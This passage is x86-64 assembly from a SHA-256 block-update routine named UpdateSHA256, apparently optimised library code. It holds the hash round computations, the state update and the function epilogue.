rorx $(6), %edx, %r14d
add %r12d, %r10d
xor %r14d, %r13d
mov %r11d, %edi
rorx $(22), %r11d, %r12d
add %r13d, %r10d
xor %eax, %edi
rorx $(13), %r11d, %r14d
rorx $(2), %r11d, %r13d
add %r10d, %ecx
and %edi, %r15d
xor %r12d, %r14d
xor %eax, %r15d
xor %r13d, %r14d
add %r15d, %r10d
mov %edx, %r12d
addl (72)(%rsp), %r9d
and %ecx, %r12d
rorx $(25), %ecx, %r13d
rorx $(11), %ecx, %r15d
add %r14d, %r10d
add %r12d, %r9d
andn %r8d, %ecx, %r12d
xor %r15d, %r13d
rorx $(6), %ecx, %r14d
add %r12d, %r9d
xor %r14d, %r13d
mov %r10d, %r15d
rorx $(22), %r10d, %r12d
add %r13d, %r9d
xor %r11d, %r15d
rorx $(13), %r10d, %r14d
rorx $(2), %r10d, %r13d
add %r9d, %ebx
and %r15d, %edi
xor %r12d, %r14d
xor %r11d, %edi
xor %r13d, %r14d
add %edi, %r9d
mov %ecx, %r12d
addl (76)(%rsp), %r8d
and %ebx, %r12d
rorx $(25), %ebx, %r13d
rorx $(11), %ebx, %edi
add %r14d, %r9d
add %r12d, %r8d
andn %edx, %ebx, %r12d
xor %edi, %r13d
rorx $(6), %ebx, %r14d
add %r12d, %r8d
xor %r14d, %r13d
mov %r9d, %edi
rorx $(22), %r9d, %r12d
add %r13d, %r8d
xor %r10d, %edi
rorx $(13), %r9d, %r14d
rorx $(2), %r9d, %r13d
add %r8d, %eax
and %edi, %r15d
xor %r12d, %r14d
xor %r10d, %r15d
xor %r13d, %r14d
add %r15d, %r8d
mov %ebx, %r12d
addl (96)(%rsp), %edx
and %eax, %r12d
rorx $(25), %eax, %r13d
rorx $(11), %eax, %r15d
add %r14d, %r8d
add %r12d, %edx
andn %ecx, %eax, %r12d
xor %r15d, %r13d
rorx $(6), %eax, %r14d
add %r12d, %edx
xor %r14d, %r13d
mov %r8d, %r15d
rorx $(22), %r8d, %r12d
add %r13d, %edx
xor %r9d, %r15d
rorx $(13), %r8d, %r14d
rorx $(2), %r8d, %r13d
add %edx, %r11d
and %r15d, %edi
xor %r12d, %r14d
xor %r9d, %edi
xor %r13d, %r14d
add %edi, %edx
mov %eax, %r12d
addl (100)(%rsp), %ecx
and %r11d, %r12d
rorx $(25), %r11d, %r13d
rorx $(11), %r11d, %edi
add %r14d, %edx
add %r12d, %ecx
andn %ebx, %r11d, %r12d
xor %edi, %r13d
rorx $(6), %r11d, %r14d
add %r12d, %ecx
xor %r14d, %r13d
mov %edx, %edi
rorx $(22), %edx, %r12d
add %r13d, %ecx
xor %r8d, %edi
rorx $(13), %edx, %r14d
rorx $(2), %edx, %r13d
add %ecx, %r10d
and %edi, %r15d
xor %r12d, %r14d
xor %r8d, %r15d
xor %r13d, %r14d
add %r15d, %ecx
mov %r11d, %r12d
addl (104)(%rsp), %ebx
and %r10d, %r12d
rorx $(25), %r10d, %r13d
rorx $(11), %r10d, %r15d
add %r14d, %ecx
add %r12d, %ebx
andn %eax, %r10d, %r12d
xor %r15d, %r13d
rorx $(6), %r10d, %r14d
add %r12d, %ebx
xor %r14d, %r13d
mov %ecx, %r15d
rorx $(22), %ecx, %r12d
add %r13d, %ebx
xor %edx, %r15d
rorx $(13), %ecx, %r14d
rorx $(2), %ecx, %r13d
add %ebx, %r9d
and %r15d, %edi
xor %r12d, %r14d
xor %edx, %edi
xor %r13d, %r14d
add %edi, %ebx
mov %r10d, %r12d
addl (108)(%rsp), %eax
and %r9d, %r12d
rorx $(25), %r9d, %r13d
rorx $(11), %r9d, %edi
add %r14d, %ebx
add %r12d, %eax
andn %r11d, %r9d, %r12d
xor %edi, %r13d
rorx $(6), %r9d, %r14d
add %r12d, %eax
xor %r14d, %r13d
mov %ebx, %edi
rorx $(22), %ebx, %r12d
add %r13d, %eax
xor %ecx, %edi
rorx $(13), %ebx, %r14d
rorx $(2), %ebx, %r13d
add %eax, %r8d
and %edi, %r15d
xor %r12d, %r14d
xor %ecx, %r15d
xor %r13d, %r14d
add %r15d, %eax
mov %r9d, %r12d
add %r14d, %eax
sub $(384), %rsp
movq (-24)(%rsp), %rdi
movq (-16)(%rsp), %r14
addl (%rdi), %eax
movl %eax, (%rdi)
addl (4)(%rdi), %ebx
movl %ebx, (4)(%rdi)
addl (8)(%rdi), %ecx
movl %ecx, (8)(%rdi)
addl (12)(%rdi), %edx
movl %edx, (12)(%rdi)
addl (16)(%rdi), %r8d
movl %r8d, (16)(%rdi)
addl (20)(%rdi), %r9d
movl %r9d, (20)(%rdi)
addl (24)(%rdi), %r10d
movl %r10d, (24)(%rdi)
addl (28)(%rdi), %r11d
movl %r11d, (28)(%rdi)
cmp $(128), %r14
jl .Ldonegas_1
add $(16), %rsp
lea (512)(%rsp), %rbp
mov %ebx, %edi
xor %r14d, %r14d
mov %r9d, %r12d
xor %ecx, %edi
.p2align 6, 0x90
.Lblock2_procgas_1:
addl (%rsp), %r11d
and %r8d, %r12d
rorx $(25), %r8d, %r13d
rorx $(11), %r8d, %r15d
add %r14d, %eax
add %r12d, %r11d
andn %r10d, %r8d, %r12d
xor %r15d, %r13d
rorx $(6), %r8d, %r14d
add %r12d, %r11d
xor %r14d, %r13d
mov %eax, %r15d
rorx $(22), %eax, %r12d
add %r13d, %r11d
xor %ebx, %r15d
rorx $(13), %eax, %r14d
rorx $(2), %eax, %r13d
add %r11d, %edx
and %r15d, %edi
xor %r12d, %r14d
xor %ebx, %edi
xor %r13d, %r14d
add %edi, %r11d
mov %r8d, %r12d
addl (4)(%rsp), %r10d
and %edx, %r12d
rorx $(25), %edx, %r13d
rorx $(11), %edx, %edi
add %r14d, %r11d
add %r12d, %r10d
andn %r9d, %edx, %r12d
xor %edi, %r13d
rorx $(6), %edx, %r14d
add %r12d, %r10d
xor %r14d, %r13d
mov %r11d, %edi
rorx $(22), %r11d, %r12d
add %r13d, %r10d
xor %eax, %edi
rorx $(13), %r11d, %r14d
rorx $(2), %r11d, %r13d
add %r10d, %ecx
and %edi, %r15d
xor %r12d, %r14d
xor %eax, %r15d
xor %r13d, %r14d
add %r15d, %r10d
mov %edx, %r12d
addl (8)(%rsp), %r9d
and %ecx, %r12d
rorx $(25), %ecx, %r13d
rorx $(11), %ecx, %r15d
add %r14d, %r10d
add %r12d, %r9d
andn %r8d, %ecx, %r12d
xor %r15d, %r13d
rorx $(6), %ecx, %r14d
add %r12d, %r9d
xor %r14d, %r13d
mov %r10d, %r15d
rorx $(22), %r10d, %r12d
add %r13d, %r9d
xor %r11d, %r15d
rorx $(13), %r10d, %r14d
rorx $(2), %r10d, %r13d
add %r9d, %ebx
and %r15d, %edi
xor %r12d, %r14d
xor %r11d, %edi
xor %r13d, %r14d
add %edi, %r9d
mov %ecx, %r12d
addl (12)(%rsp), %r8d
and %ebx, %r12d
rorx $(25), %ebx, %r13d
rorx $(11), %ebx, %edi
add %r14d, %r9d
add %r12d, %r8d
andn %edx, %ebx, %r12d
xor %edi, %r13d
rorx $(6), %ebx, %r14d
add %r12d, %r8d
xor %r14d, %r13d
mov %r9d, %edi
rorx $(22), %r9d, %r12d
add %r13d, %r8d
xor %r10d, %edi
rorx $(13), %r9d, %r14d
rorx $(2), %r9d, %r13d
add %r8d, %eax
and %edi, %r15d
xor %r12d, %r14d
xor %r10d, %r15d
xor %r13d, %r14d
add %r15d, %r8d
mov %ebx, %r12d
addl (32)(%rsp), %edx
and %eax, %r12d
rorx $(25), %eax, %r13d
rorx $(11), %eax, %r15d
add %r14d, %r8d
add %r12d, %edx
andn %ecx, %eax, %r12d
xor %r15d, %r13d
rorx $(6), %eax, %r14d
add %r12d, %edx
xor %r14d, %r13d
mov %r8d, %r15d
rorx $(22), %r8d, %r12d
add %r13d, %edx
xor %r9d, %r15d
rorx $(13), %r8d, %r14d
rorx $(2), %r8d, %r13d
add %edx, %r11d
and %r15d, %edi
xor %r12d, %r14d
xor %r9d, %edi
xor %r13d, %r14d
add %edi, %edx
mov %eax, %r12d
addl (36)(%rsp), %ecx
and %r11d, %r12d
rorx $(25), %r11d, %r13d
rorx $(11), %r11d, %edi
add %r14d, %edx
add %r12d, %ecx
andn %ebx, %r11d, %r12d
xor %edi, %r13d
rorx $(6), %r11d, %r14d
add %r12d, %ecx
xor %r14d, %r13d
mov %edx, %edi
rorx $(22), %edx, %r12d
add %r13d, %ecx
xor %r8d, %edi
rorx $(13), %edx, %r14d
rorx $(2), %edx, %r13d
add %ecx, %r10d
and %edi, %r15d
xor %r12d, %r14d
xor %r8d, %r15d
xor %r13d, %r14d
add %r15d, %ecx
mov %r11d, %r12d
addl (40)(%rsp), %ebx
and %r10d, %r12d
rorx $(25), %r10d, %r13d
rorx $(11), %r10d, %r15d
add %r14d, %ecx
add %r12d, %ebx
andn %eax, %r10d, %r12d
xor %r15d, %r13d
rorx $(6), %r10d, %r14d
add %r12d, %ebx
xor %r14d, %r13d
mov %ecx, %r15d
rorx $(22), %ecx, %r12d
add %r13d, %ebx
xor %edx, %r15d
rorx $(13), %ecx, %r14d
rorx $(2), %ecx, %r13d
add %ebx, %r9d
and %r15d, %edi
xor %r12d, %r14d
xor %edx, %edi
xor %r13d, %r14d
add %edi, %ebx
mov %r10d, %r12d
addl (44)(%rsp), %eax
and %r9d, %r12d
rorx $(25), %r9d, %r13d
rorx $(11), %r9d, %edi
add %r14d, %ebx
add %r12d, %eax
andn %r11d, %r9d, %r12d
xor %edi, %r13d
rorx $(6), %r9d, %r14d
add %r12d, %eax
xor %r14d, %r13d
mov %ebx, %edi
rorx $(22), %ebx, %r12d
add %r13d, %eax
xor %ecx, %edi
rorx $(13), %ebx, %r14d
rorx $(2), %ebx, %r13d
add %eax, %r8d
and %edi, %r15d
xor %r12d, %r14d
xor %ecx, %r15d
xor %r13d, %r14d
add %r15d, %eax
mov %r9d, %r12d
add $(64), %rsp
cmp %rbp, %rsp
jb .Lblock2_procgas_1
add %r14d, %eax
sub $(528), %rsp
movq (-24)(%rsp), %rdi
movq (-16)(%rsp), %r14
addl (%rdi), %eax
movl %eax, (%rdi)
addl (4)(%rdi), %ebx
movl %ebx, (4)(%rdi)
addl (8)(%rdi), %ecx
movl %ecx, (8)(%rdi)
addl (12)(%rdi), %edx
movl %edx, (12)(%rdi)
addl (16)(%rdi), %r8d
movl %r8d, (16)(%rdi)
addl (20)(%rdi), %r9d
movl %r9d, (20)(%rdi)
addl (24)(%rdi), %r10d
movl %r10d, (24)(%rdi)
addl (28)(%rdi), %r11d
movl %r11d, (28)(%rdi)
add $(128), %rsi
sub $(128), %r14
movq %r14, (-16)(%rsp)
jg .Lsha256_block2_loopgas_1
.Ldonegas_1:
movq (-8)(%rsp), %rsp
add $(544), %rsp
vzeroupper
pop %r15
pop %r14
pop %r13
pop %r12
pop %rbx
pop %rbp
pop %rbx
ret
.Lfe1:
.size UpdateSHA256, .Lfe1-(UpdateSHA256)
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.